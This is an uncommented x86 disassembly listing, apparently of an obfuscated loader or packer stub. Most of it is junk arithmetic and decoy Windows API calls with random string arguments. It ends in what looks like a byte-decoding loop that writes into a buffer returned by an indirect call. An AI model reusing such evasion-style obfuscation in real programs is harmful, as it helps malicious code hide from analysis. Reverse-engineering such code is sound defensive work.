mov ecx, dword [ebp - 0x3f0]
movzx edx, byte [ecx]
xor eax, edx
mov byte [ebp - 0x4e1], al
mov eax, dword [ebp - 0x850]
movzx edx, word [eax]
mov eax, dword [ebp - 0x520]
movzx ecx, word [eax]
shl edx, cl
mov word [ebp - 0x4ec], dx
mov ecx, dword [ebp - 0x778]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x40c]
movsx ecx, byte [eax]
or edx, ecx
mov byte [ebp - 0x46d], dl
mov edx, dword [ebp - 0x474]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x53c]
sub eax, ecx
mov word [ebp - 0x770], ax
mov edx, dword [ebp - 0x698]
and edx, dword [ebp - 0x77c]
mov dword [0x7725cc], edx
mov eax, dword [ebp - 0x4e8]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x4ac]
mov dword [ebp - 0x854], ecx
mov edx, dword [ebp - 0x3f0]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x7c4]
movzx edx, byte [ecx]
add eax, edx
mov ecx, dword [ebp - 0x4a0]
mov byte [ecx], al
lea edx, [ebp - 0x570]
push edx
mov eax, dword [ebp - 0x468]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [ebp - 0x3e4], eax
movzx ecx, word [0x7725d0]
mov edx, dword [ebp - 0x520]
movzx eax, word [edx]
add ecx, eax
mov word [ebp - 0x754], cx
push str.Fcrq95rhA8bOk_ChB8YvSWsj
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x880], ax
mov ecx, dword [ebp - 0x448]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x52c]
mov eax, dword [ebp - 0x79c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x6a4]
mov edx, dword [ecx]
add edx, dword [ebp - 0x7c0]
mov eax, dword [ebp - 0x69c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x840]
mov edx, dword [ecx]
add edx, dword [ebp - 0x6c4]
mov dword [ebp - 0x454], edx
mov eax, dword [ebp - 0x4e8]
mov ecx, dword [ebp - 0x448]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x840]
mov dword [eax], edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EscapeCommFunction]
movzx ecx, byte [ebp - 0x449]
mov edx, dword [ebp - 0x6a8]
movzx eax, byte [edx]
and ecx, eax
mov byte [ebp - 0x415], cl
movzx ecx, word [ebp - 0x490]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x43c], ax
movzx edx, word [ebp - 0x4ec]
movzx eax, word [ebp - 0x754]
xor edx, eax
mov word [0x773678], dx
mov ecx, dword [0x773664]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x3f8]
shr edx, cl
mov dword [ebp - 0x784], edx
mov eax, dword [ebp - 0x758]
mov edx, dword [ebp - 0x808]
mov ecx, dword [eax]
shl edx, cl
mov dword [ebp - 0x408], edx
mov eax, dword [ebp - 0x79c]
mov ecx, dword [eax]
or ecx, dword [ebp - 0x808]
mov dword [ebp - 0x52c], ecx
mov edx, dword [ebp - 0x718]
sub edx, dword [ebp - 0x764]
mov dword [ebp - 0x808], edx
mov eax, dword [ebp - 0x758]
mov ecx, dword [ebp - 0x780]
add ecx, dword [eax]
mov edx, dword [ebp - 0x420]
mov dword [edx], ecx
movsx eax, word [ebp - 0x71c]
movsx ecx, word [ebp - 0x770]
and eax, ecx
mov edx, dword [ebp - 0x474]
mov word [edx], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x888], eax
mov eax, dword [ebp - 0x40c]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x769]
add ecx, edx
mov eax, dword [ebp - 0x528]
mov byte [eax], cl
movzx ecx, byte [ebp - 0x449]
mov edx, dword [ebp - 0x7c4]
movzx eax, byte [edx]
sub ecx, eax
mov byte [ebp - 0x435], cl
mov ecx, dword [ebp - 0x520]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x428]
movzx ecx, word [eax]
add edx, ecx
mov word [0x773678], dx
mov edx, dword [ebp - 0x444]
mov eax, dword [0x7725cc]
add eax, dword [edx]
mov dword [ebp - 0x77c], eax
mov ecx, dword [ebp - 0x784]
add ecx, dword [ebp - 0x698]
mov dword [ebp - 0x488], ecx
mov edx, dword [ebp - 0x428]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x754]
sub eax, ecx
mov word [ebp - 0x70c], ax
movzx edx, byte [ebp - 0x7d1]
movzx eax, byte [ebp - 0x449]
sub edx, eax
mov ecx, dword [ebp - 0x3f0]
mov byte [ecx], dl
mov edx, dword [ebp - 0x840]
mov eax, dword [edx]
add eax, dword [ebp - 0x434]
mov ecx, dword [ebp - 0x530]
mov dword [ecx], eax
mov edx, dword [ebp - 0x6a4]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x4a8]
shr eax, cl
mov dword [ebp - 0x6fc], eax
mov ecx, dword [ebp - 0x6bc]
mov edx, dword [ebp - 0x840]
mov eax, dword [ecx]
xor eax, dword [edx]
mov ecx, dword [ebp - 0x530]
mov dword [ecx], eax
mov edx, dword [ebp - 0x448]
mov eax, dword [ebp - 0x828]
or eax, dword [edx]
mov dword [ebp - 0x7a4], eax
cmp dword [ebp - 0x45c], 0xa9d6
jae 0x408424
lea ecx, [ebp - 0x70c]
mov dword [0x77366c], ecx
mov edx, dword [ebp - 0x6f8]
mov eax, dword [ebp - 0x838]
mov esi, dword [edx]
mov ecx, dword [eax]
shl esi, cl
mov ecx, dword [ebp - 0x6a4]
mov edi, dword [ebp - 0x69c]
mov eax, dword [ecx]
xor edx, edx
div dword [edi]
cmp esi, eax
jae 0x408922
mov edx, dword [ebp - 0x6a8]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x435]
and eax, ecx
mov byte [ebp - 0x7d1], al
lea edx, [ebp - 0x4c4]
push edx
push 0x1a
lea eax, [ebp - 0x40c]
push eax
lea ecx, [ebp - 0x79c]
push ecx
lea edx, [ebp - 0x850]
push edx
call dword [sym.imp.SHELL32.dll_SHParseDisplayName]
mov dword [ebp - 0x4bc], eax
mov eax, dword [0x773664]
mov ecx, dword [ebp - 0x784]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x444]
mov dword [edx], ecx
call fcn.0040a6f0
mov eax, dword [ebp - 0x448]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x3d0]
mov dword [ebp - 0x6c4], ecx
mov edx, dword [ebp - 0x448]
mov eax, dword [edx]
and eax, dword [ebp - 0x494]
mov ecx, dword [ebp - 0x6bc]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x530]
add edx, dword [ecx]
cmp eax, edx
jl 0x409cb3
cmp dword [ebp - 0x3ec], 0xd88
jae 0x408b8f
mov edx, dword [ebp - 0x77c]
add edx, dword [ebp - 0x3f8]
mov dword [ebp - 0x488], edx
mov eax, dword [ebp - 0x448]
mov ecx, dword [eax]
add ecx, dword [0x7725d4]
mov dword [ebp - 0x830], ecx
mov edx, dword [ebp - 0x4a0]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x6b1]
add eax, ecx
mov edx, dword [ebp - 0x3f0]
mov byte [edx], al
mov eax, dword [ebp - 0x520]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x440]
sub ecx, edx
mov word [ebp - 0x754], cx
mov eax, dword [ebp - 0x448]
mov ecx, dword [0x7725d4]
and ecx, dword [eax]
mov edx, dword [ebp - 0x530]
mov dword [edx], ecx
mov eax, dword [ebp - 0x6fc]
add eax, dword [ebp - 0x698]
mov ecx, dword [ebp - 0x444]
mov dword [ecx], eax
mov edx, dword [ebp - 0x448]
mov eax, dword [edx]
sub eax, dword [0x7725d4]
mov dword [ebp - 0x6e0], eax
mov ecx, dword [ebp - 0x850]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x754]
sub edx, eax
mov ecx, dword [0x77366c]
mov word [ecx], dx
mov edx, dword [ebp - 0x520]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x4ec]
sub eax, ecx
mov edx, dword [ebp - 0x520]
mov word [edx], ax
mov eax, dword [0x773690]
movzx edx, byte [eax]
mov eax, dword [ebp - 0x7c4]
movzx ecx, byte [eax]
sar edx, cl
mov byte [ebp - 0x7d1], dl
movsx ecx, byte [ebp - 0x42d]
mov edx, dword [ebp - 0x778]
movsx eax, byte [edx]
xor ecx, eax
mov edx, dword [ebp - 0x528]
mov byte [edx], cl
mov eax, dword [ebp - 0x814]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [ebp - 0x3e4], eax
mov ecx, dword [ebp - 0x474]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x71c]
or edx, eax
mov ecx, dword [ebp - 0x474]
mov word [ecx], dx
mov edx, dword [ebp - 0x3ec]
add edx, 0x9a
mov dword [ebp - 0x3ec], edx
mov eax, dword [ebp - 0x6a4]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x7c0]
shl edx, cl
mov dword [ebp - 0x6fc], edx
mov eax, dword [ebp - 0x6bc]
mov ecx, dword [0x7725d4]
and ecx, dword [eax]
mov dword [ebp - 0x52c], ecx
mov edx, dword [ebp - 0x6a8]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x6c5]
sub eax, ecx
mov byte [ebp - 0x7d1], al
movzx edx, word [ebp - 0x3e0]
movzx eax, word [ebp - 0x754]
sub edx, eax
mov word [ebp - 0x440], dx
mov ecx, dword [ebp - 0x6a4]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x46c]
mov dword [0x7725cc], edx
mov eax, dword [ebp - 0x420]
mov ecx, dword [ebp - 0x464]
add ecx, dword [eax]
mov dword [ebp - 0x3cc], ecx
mov edx, dword [ebp - 0x79c]
mov eax, dword [edx]
add eax, dword [ebp - 0x7b4]
mov ecx, dword [ebp - 0x758]
mov dword [ecx], eax
mov edx, dword [ebp - 0x768]
and edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x46c], edx
movzx eax, byte [ebp - 0x415]
movzx ecx, byte [ebp - 0x6c5]
add eax, ecx
mov edx, dword [ebp - 0x6a8]
mov byte [edx], al
mov eax, dword [ebp - 0x520]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x850]
movzx eax, word [edx]
sub ecx, eax
mov edx, dword [ebp - 0x520]
mov word [edx], cx
jmp 0x40895c
mov eax, dword [ebp - 0x6bc]
mov ecx, dword [eax]
mov dword [ebp - 0x3dc], ecx
mov edx, dword [ebp - 0x6bc]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x420]
add eax, dword [ecx]
mov dword [ebp - 0x6c4], eax
mov edx, dword [ebp - 0x488]
mov dword [ebp - 0x7d8], edx
lea eax, [ebp - 0x3dc]
mov dword [0x773660], eax
mov ecx, dword [ebp - 0x79c]
mov edx, dword [ecx]
or edx, dword [0x7725d4]
mov dword [ebp - 0x3dc], edx
mov eax, dword [ebp - 0x528]
mov cl, byte [eax]
mov byte [ebp - 0x791], cl
lea edx, [ebp - 0x770]
mov dword [ebp - 0x510], edx
mov eax, dword [ebp - 0x69c]
mov ecx, dword [eax]
mov dword [ebp - 0x8ec], ecx
cmp dword [ebp - 0x8ec], 0xd286
je 0x408c14
jmp 0x408c3c
mov edx, dword [ebp - 0x520]
movzx eax, word [edx]
movzx ecx, word [0x7725d0]
xor eax, ecx
mov edx, dword [ebp - 0x520]
mov word [edx], ax
mov ecx, dword [ebp - 0x4ec]
call fcn.0040a740
jmp 0x408ca1
mov eax, dword [ebp - 0x4a0]
movzx edx, byte [eax]
mov eax, dword [ebp - 0x3f0]
movzx ecx, byte [eax]
shl edx, cl
mov byte [ebp - 0x7d1], dl
mov ecx, dword [ebp - 0x69c]
mov edx, dword [ebp - 0x6a4]
mov eax, dword [ecx]
mov ecx, dword [edx]
shr eax, cl
mov dword [ebp - 0x768], eax
mov ecx, dword [ebp - 0x6bc]
mov edx, dword [ecx]
mov dword [ebp - 0x6f0], edx
mov dword [ebp - 0x4c8], 0x62f0
mov eax, dword [ebp - 0x850]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x428]
movzx eax, word [edx]
and ecx, eax
mov word [ebp - 0x4ec], cx
push 0
push 0x20
push 2
push 0
push 8
push 0xc0000000
push str.pMP4H9IgLohmqKomuwas
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x458], eax
mov ecx, dword [0x773690]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x415]
sub edx, eax
mov byte [0x772586], dl
lea ecx, [ebp - 0x77c]
mov dword [ebp - 0x3f4], ecx
mov edx, dword [ebp - 0x79c]
mov eax, dword [ebp - 0x798]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x6bc]
mov dword [ecx], eax
mov edx, dword [0x7725d4]
sub edx, dword [ebp - 0x764]
mov eax, dword [ebp - 0x530]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x494]
cmp edx, ecx
je 0x408dd0
movzx edx, byte [ebp - 0x435]
movzx eax, byte [0x772586]
add edx, eax
movzx ecx, byte [ebp - 0x449]
movzx eax, byte [ebp - 0x6c5]
add ecx, eax
cmp edx, ecx
jge 0x408dba
mov ecx, dword [ebp - 0x840]
mov edx, dword [ebp - 0x808]
or edx, dword [ecx]
mov dword [ebp - 0x464], edx
mov eax, dword [ebp - 0x444]
mov edx, dword [ebp - 0x7c0]
mov ecx, dword [eax]
shl edx, cl
mov dword [ebp - 0x784], edx
mov eax, dword [ebp - 0x428]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x850]
movzx eax, word [edx]
xor ecx, eax
mov word [ebp - 0x3e0], cx
lea ecx, [ebp - 0x810]
push ecx
call dword [sym.imp.SHELL32.dll_ILGetSize]
mov dword [ebp - 0x488], eax
mov edx, dword [ebp - 0x3f0]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x7d1]
sar eax, cl
mov ecx, dword [ebp - 0x6a8]
mov byte [ecx], al
call fcn.0040a6f0
jmp 0x408dd0
mov edx, dword [ebp - 0x6bc]
mov eax, dword [ebp - 0x448]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov dword [ebp - 0x714], ecx
mov edx, dword [ebp - 0x464]
mov dword [ebp - 0x83c], edx
cmp dword [ebp - 0x6ec], 0xa5e6
jbe 0x408f89
mov eax, dword [ebp - 0x538]
and eax, dword [ebp - 0x6e0]
mov ecx, dword [0x773660]
mov dword [ecx], eax
mov edx, dword [ebp - 0x6ec]
sub edx, 0xde
mov dword [ebp - 0x6ec], edx
mov eax, dword [ebp - 0x510]
movsx ecx, word [eax]
movsx edx, word [ebp - 0x71c]
sub ecx, edx
mov word [ebp - 0x770], cx
mov eax, dword [ebp - 0x7c4]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x449]
sub ecx, edx
mov byte [ebp - 0x6b1], cl
mov eax, dword [ebp - 0x428]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x70c]
add ecx, edx
mov word [ebp - 0x754], cx
mov eax, dword [ebp - 0x6f8]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x838]
add ecx, dword [edx]
mov dword [ebp - 0x7d8], ecx
mov eax, dword [ebp - 0x69c]
mov ecx, dword [ebp - 0x3f8]
add ecx, dword [eax]
mov edx, dword [ebp - 0x838]
mov dword [edx], ecx
mov eax, dword [ebp - 0x79c]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x764]
mov dword [ebp - 0x6e0], ecx
mov edx, dword [0x773660]
mov eax, dword [ebp - 0x3cc]
add eax, dword [edx]
mov ecx, dword [ebp - 0x4e8]
mov dword [ecx], eax
mov edx, dword [ebp - 0x4e8]
mov eax, dword [ebp - 0x840]
mov ecx, dword [edx]
and ecx, dword [eax]
mov dword [ebp - 0x434], ecx
movzx edx, word [ebp - 0x440]
movzx eax, word [ebp - 0x3e0]
xor edx, eax
mov word [ebp - 0x70c], dx
movzx edx, byte [ebp - 0x415]
mov eax, dword [ebp - 0x3f0]
movzx ecx, byte [eax]
shl edx, cl
mov byte [0x41d004], dl
mov edx, dword [ebp - 0x784]
mov ecx, dword [ebp - 0x7c0]
shr edx, cl
mov dword [ebp - 0x768], edx
mov eax, dword [ebp - 0x79c]
mov ecx, dword [eax]
or ecx, dword [0x7725d4]
mov edx, dword [ebp - 0x530]
mov dword [edx], ecx
mov eax, dword [ebp - 0x758]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x6b0]
mov edx, dword [ebp - 0x448]
mov dword [edx], ecx
mov eax, dword [ebp - 0x784]
add eax, dword [ebp - 0x4a8]
mov dword [ebp - 0x7d8], eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_PrepareTape]
mov ecx, dword [ebp - 0x850]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x834]
and edx, eax
mov word [ebp - 0x440], dx
movzx ecx, byte [ebp - 0x7d1]
movzx edx, byte [ebp - 0x6b1]
sub ecx, edx
mov byte [ebp - 0x449], cl
jmp 0x408ddc
movsx eax, byte [0x41d007]
mov ecx, dword [ebp - 0x40c]
movsx edx, byte [ecx]
sub eax, edx
mov byte [ebp - 0x42d], al
mov eax, dword [ebp - 0x714]
sub eax, dword [ebp - 0x830]
mov ecx, dword [ebp - 0x79c]
mov edx, dword [ecx]
add edx, dword [0x7725d4]
cmp eax, edx
jl 0x408feb
movsx eax, word [ebp - 0x770]
movsx ecx, word [ebp - 0x71c]
add eax, ecx
mov word [ebp - 0x53c], ax
mov edx, dword [ebp - 0x6f8]
mov eax, dword [ebp - 0x768]
add eax, dword [edx]
mov dword [0x7725cc], eax
jmp 0x409054
movsx ecx, byte [ebp - 0x705]
mov edx, dword [ebp - 0x778]
movsx eax, byte [edx]
sub ecx, eax
mov edx, dword [ebp - 0x528]
movsx eax, byte [edx]
movsx edx, byte [ebp - 0x42d]
add eax, edx
cmp ecx, eax
jl 0x409054
mov dword [ebp - 0x704], 0x7725d4
mov eax, dword [ebp - 0x428]
movzx edx, word [eax]
movzx ecx, word [ebp - 0x70c]
shl edx, cl
mov eax, dword [ebp - 0x428]
mov word [eax], dx
mov ecx, dword [ebp - 0x3f0]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x7c4]
movzx ecx, byte [eax]
or edx, ecx
mov eax, dword [ebp - 0x6a8]
mov byte [eax], dl
cmp dword [ebp - 0x4c8], 0x76f4
jae 0x4090b2
mov ecx, dword [ebp - 0x4c8]
add ecx, 0x54
mov dword [ebp - 0x4c8], ecx
mov edx, dword [ebp - 0x530]
mov eax, dword [0x7725d4]
mov ecx, dword [edx]
sar eax, cl
mov dword [ebp - 0x83c], eax
mov ecx, dword [ebp - 0x838]
mov edx, dword [ebp - 0x3f4]
mov eax, dword [ecx]
xor eax, dword [edx]
mov dword [ebp - 0x7d8], eax
mov ecx, dword [ebp - 0x420]
mov edx, dword [0x773660]
mov eax, dword [ecx]
and eax, dword [edx]
mov dword [ebp - 0x434], eax
jmp 0x409054
mov dword [ebp - 0x498], 0
lea ecx, [ebp - 0x6b0]
mov dword [ebp - 0x42c], ecx
mov edx, dword [ebp - 0x428]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x3e0]
sub eax, ecx
mov word [ebp - 0x70c], ax
lea edx, [ebp - 0x6b1]
mov dword [0x773674], edx
mov eax, dword [ebp - 0x498]
or eax, 0x40000
mov dword [ebp - 0x498], eax
mov ecx, dword [ebp - 0x838]
mov edx, dword [ecx]
mov dword [ebp - 0x848], edx
mov eax, dword [ebp - 0x420]
mov ecx, dword [ebp - 0x718]
add ecx, dword [eax]
mov dword [ebp - 0x408], ecx
mov edx, dword [ebp - 0x758]
mov eax, dword [edx]
and eax, dword [ebp - 0x854]
mov dword [ebp - 0x6e0], eax
lea ecx, [ebp - 0x434]
mov dword [ebp - 0x7dc], ecx
mov edx, dword [ebp - 0x530]
mov eax, dword [ebp - 0x830]
imul eax, dword [edx]
mov dword [ebp - 0x408], eax
mov dword [ebp - 0x6ac], 0x33b898fa
lea ecx, [ebp - 0x4e0]
push ecx
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov edx, dword [ebp - 0x528]
mov al, byte [edx]
mov byte [ebp - 0x759], al
mov ecx, dword [ebp - 0x46c]
add ecx, dword [ebp - 0x77c]
mov edx, dword [ebp - 0x444]
mov eax, dword [edx]
add eax, dword [ebp - 0x698]
cmp ecx, eax
jbe 0x4091e3
mov ecx, dword [ebp - 0x474]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x770]
sub edx, eax
mov ecx, dword [ebp - 0x474]
mov word [ecx], dx
mov edx, dword [ebp - 0x428]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x70c]
sub eax, ecx
mov edx, dword [ebp - 0x520]
mov word [edx], ax
movzx eax, word [ebp - 0x834]
push eax
movzx ecx, word [ebp - 0x754]
push ecx
call fcn.00404e30
mov edx, dword [ebp - 0x6ac]
xor edx, 0x33b889dc
mov dword [ebp - 0x6ac], edx
lea eax, [ebp - 0x435]
mov dword [0x773680], eax
mov ecx, dword [ebp - 0x3f4]
mov edx, dword [ebp - 0x3f8]
sub edx, dword [ecx]
mov dword [ebp - 0x7c0], edx
mov eax, dword [ebp - 0x3f4]
mov ecx, dword [eax]
mov dword [ebp - 0x884], ecx
mov edx, dword [0x773670]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x70c]
sar eax, cl
mov word [ebp - 0x440], ax
movzx ecx, byte [ebp - 0x435]
mov edx, dword [ebp - 0x6a8]
movzx eax, byte [edx]
or ecx, eax
mov byte [ebp - 0x6b1], cl
mov ecx, dword [ebp - 0x6ac]
mov dword [ebp - 0x790], ecx
mov edx, dword [ebp - 0x4e8]
mov eax, dword [edx]
mov dword [ebp - 0x8f0], eax
cmp dword [ebp - 0x8f0], 0x36a3
je 0x40927b
jmp 0x4092cc
mov ecx, dword [ebp - 0x704]
mov edx, dword [ecx]
xor edx, dword [ebp - 0x434]
mov dword [ebp - 0x400], edx
mov eax, dword [ebp - 0x6a4]
mov ecx, dword [ebp - 0x69c]
mov edx, dword [eax]
mov ecx, dword [ecx]
shl edx, cl
mov dword [ebp - 0x4a8], edx
mov eax, dword [ebp - 0x808]
and eax, dword [0x7725d4]
mov dword [ebp - 0x7ac], eax
lea ecx, [ebp - 0x87c]
push ecx
call dword [sym.imp.SHELL32.dll_ILRemoveLastID]
mov dword [ebp - 0x774], eax
call fcn.00403440
lea edx, [ebp - 0x3d8]
mov dword [ebp - 0x450], edx
mov ax, word [ebp - 0x4ec]
mov word [0x77368c], ax
mov ecx, dword [ebp - 0x790]
push ecx
mov edx, dword [ebp - 0x6ac]
push edx
mov eax, dword [ebp - 0x498]
push eax
call dword [ebp - 0x484]
mov dword [ebp - 0x84c], eax
mov ecx, dword [ebp - 0x4a0]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x6a8]
movzx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 0x449], dl
lea edx, [ebp - 0x46c]
mov dword [ebp - 0x480], edx
mov eax, dword [ebp - 0x84c]
mov dword [ebp - 0x3d4], eax
mov ecx, dword [ebp - 0x510]
movsx edx, word [ecx]
mov dword [ebp - 0x8f4], edx
cmp dword [ebp - 0x8f4], 0x652
je 0x40935a
jmp 0x40939f
mov eax, dword [ebp - 0x4e8]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x7a4]
mov edx, dword [ebp - 0x704]
mov dword [edx], ecx
movsx eax, word [0x7725c8]
movsx ecx, word [ebp - 0x770]
sub eax, ecx
mov word [ebp - 0x53c], ax
mov edx, dword [ebp - 0x528]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x791]
sub eax, ecx
mov byte [ebp - 0x769], al
mov dword [ebp - 0x7d0], 0x7b4d2b68
mov edx, dword [ebp - 0x4a0]
movzx eax, byte [edx]
mov ecx, dword [0x773690]
movzx edx, byte [ecx]
and eax, edx
mov byte [ebp - 0x449], al
movzx eax, word [ebp - 0x440]
mov ecx, dword [ebp - 0x520]
movzx edx, word [ecx]
add eax, edx
mov ecx, dword [ebp - 0x428]
mov word [ecx], ax
mov edx, dword [ebp - 0x6a4]
mov eax, dword [edx]
mov dword [ebp - 0x710], eax
mov ecx, dword [ebp - 0x420]
mov edx, dword [ecx]
sub edx, dword [0x7725d4]
mov dword [0x7725d8], edx
mov eax, dword [ebp - 0x530]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x7dc]
add ecx, dword [edx]
mov dword [ebp - 0x6f0], ecx
mov dword [ebp - 0x460], 0x3f
mov eax, dword [ebp - 0x42c]
mov edx, dword [eax]
add edx, dword [ebp - 0x3d0]
mov eax, dword [0x7725d4]
mov ecx, dword [ebp - 0x718]
sar eax, cl
cmp edx, eax
jl 0x40948d
mov ecx, dword [ebp - 0x79c]
mov edx, dword [ecx]
push edx
mov eax, dword [ebp - 0x474]
mov dx, word [eax]
mov ecx, dword [ebp - 0x520]
mov cx, word [ecx]
call fcn.00404d90
mov edx, dword [0x773664]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x3f8]
shl eax, cl
mov ecx, dword [ebp - 0x838]
mov dword [ecx], eax
mov edx, dword [ebp - 0x4e8]
mov eax, dword [ebp - 0x758]
mov ecx, dword [edx]
and ecx, dword [eax]
mov dword [ebp - 0x454], ecx
mov edx, dword [ebp - 0x520]
mov ax, word [edx]
mov word [ebp - 0x4a4], ax
mov ecx, dword [ebp - 0x7c4]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x6c5]
sub edx, eax
mov ecx, dword [ebp - 0x6a8]
mov byte [ecx], dl
mov edx, dword [ebp - 0x4e8]
mov eax, dword [edx]
sub eax, dword [ebp - 0x3cc]
mov dword [ebp - 0x7ac], eax
mov ecx, dword [ebp - 0x7d8]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 0x4e8]
mov eax, dword [edx]
add eax, dword [ebp - 0x464]
mov dword [ebp - 0x3d8], eax
mov ecx, dword [ebp - 0x49c]
mov dword [ebp - 0x694], ecx
lea edx, [ebp - 0x83c]
mov dword [0x773694], edx
mov eax, dword [ebp - 0x4a0]
mov cl, byte [eax]
mov byte [ebp - 0x79d], cl
movzx edx, word [ebp - 0x70c]
movzx eax, word [ebp - 0x834]
add edx, eax
mov word [ebp - 0x4a4], dx
mov dword [ebp - 0x524], 0x4004006
mov ecx, dword [ebp - 0x40c]
mov dl, byte [ecx]
mov byte [ebp - 0x4bd], dl
lea eax, [ebp - 0x800]
push eax
call dword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea ecx, [ebp - 0x770]
mov dword [ebp - 0x88c], ecx
mov edx, dword [ebp - 0x6a4]
mov eax, dword [edx]
sub eax, dword [0x7725cc]
mov dword [ebp - 0x884], eax
mov ecx, dword [ebp - 0x524]
or ecx, 0x10224a0
mov dword [ebp - 0x524], ecx
mov dl, byte [ebp - 0x415]
mov byte [ebp - 0x8f8], dl
cmp byte [ebp - 0x8f8], 0
je 0x4095bb
cmp byte [ebp - 0x8f8], 0x83
je 0x40959f
jmp 0x409c65
movzx eax, word [0x77368c]
movzx ecx, word [ebp - 0x4ec]
add eax, ecx
mov word [ebp - 0x754], ax
jmp 0x409c65
mov edx, dword [ebp - 0x460]
cmp edx, dword [ebp - 0x524]
jae 0x409948
movzx eax, byte [ebp - 0x4e1]
movzx ecx, byte [ebp - 0x6c5]
sub eax, ecx
mov byte [ebp - 0x435], al
mov edx, dword [ebp - 0x69c]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x480]
add eax, dword [ecx]
mov dword [0x7725cc], eax
mov edx, dword [ebp - 0x798]
mov ecx, dword [ebp - 0x6b0]
sar edx, cl
mov eax, dword [ebp - 0x448]
mov dword [eax], edx
mov ecx, dword [ebp - 0x694]
mov dl, byte [ecx]
mov byte [ebp - 0x476], dl
mov eax, dword [ebp - 0x758]
mov ecx, dword [eax]
xor ecx, dword [0x7725d4]
mov dword [ebp - 0x828], ecx
mov edx, dword [ebp - 0x3f4]
mov eax, dword [edx]
or eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x46c], eax
movzx edx, word [ebp - 0x4a4]
mov eax, dword [ebp - 0x428]
movzx ecx, word [eax]
shl edx, cl
mov word [ebp - 0x4ec], dx
mov ecx, dword [0x773674]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x449]
and edx, eax
mov byte [ebp - 0x6c5], dl
mov cl, byte [ebp - 0x7d0]
mov dl, byte [ebp - 0x476]
ror dl, cl
mov byte [ebp - 0x476], dl
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_PrepareTape]
mov eax, dword [ebp - 0x4e8]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x434]
mov edx, dword [ebp - 0x79c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x42c]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x574]
mov edx, dword [ebp - 0x79c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x3f4]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x768]
mov dword [ebp - 0x710], ecx
mov edx, dword [ebp - 0x79c]
mov eax, dword [edx]
sub eax, dword [ebp - 0x7b4]
mov dword [0x7725d4], eax
mov ecx, dword [0x7725d8]
add ecx, dword [ebp - 0x854]
mov dword [ebp - 0x3d0], ecx
movzx edx, byte [ebp - 0x476]
add edx, dword [ebp - 0x7d0]
mov byte [ebp - 0x476], dl
movsx eax, word [ebp - 0x770]
movsx ecx, word [ebp - 0x53c]
add eax, ecx
mov edx, dword [ebp - 0x88c]
mov word [edx], ax
movsx eax, byte [ebp - 0x42d]
movsx ecx, byte [ebp - 0x4bd]
and eax, ecx
mov byte [ebp - 0x705], al
mov edx, dword [ebp - 0x3d4]
mov al, byte [ebp - 0x476]
mov byte [edx], al
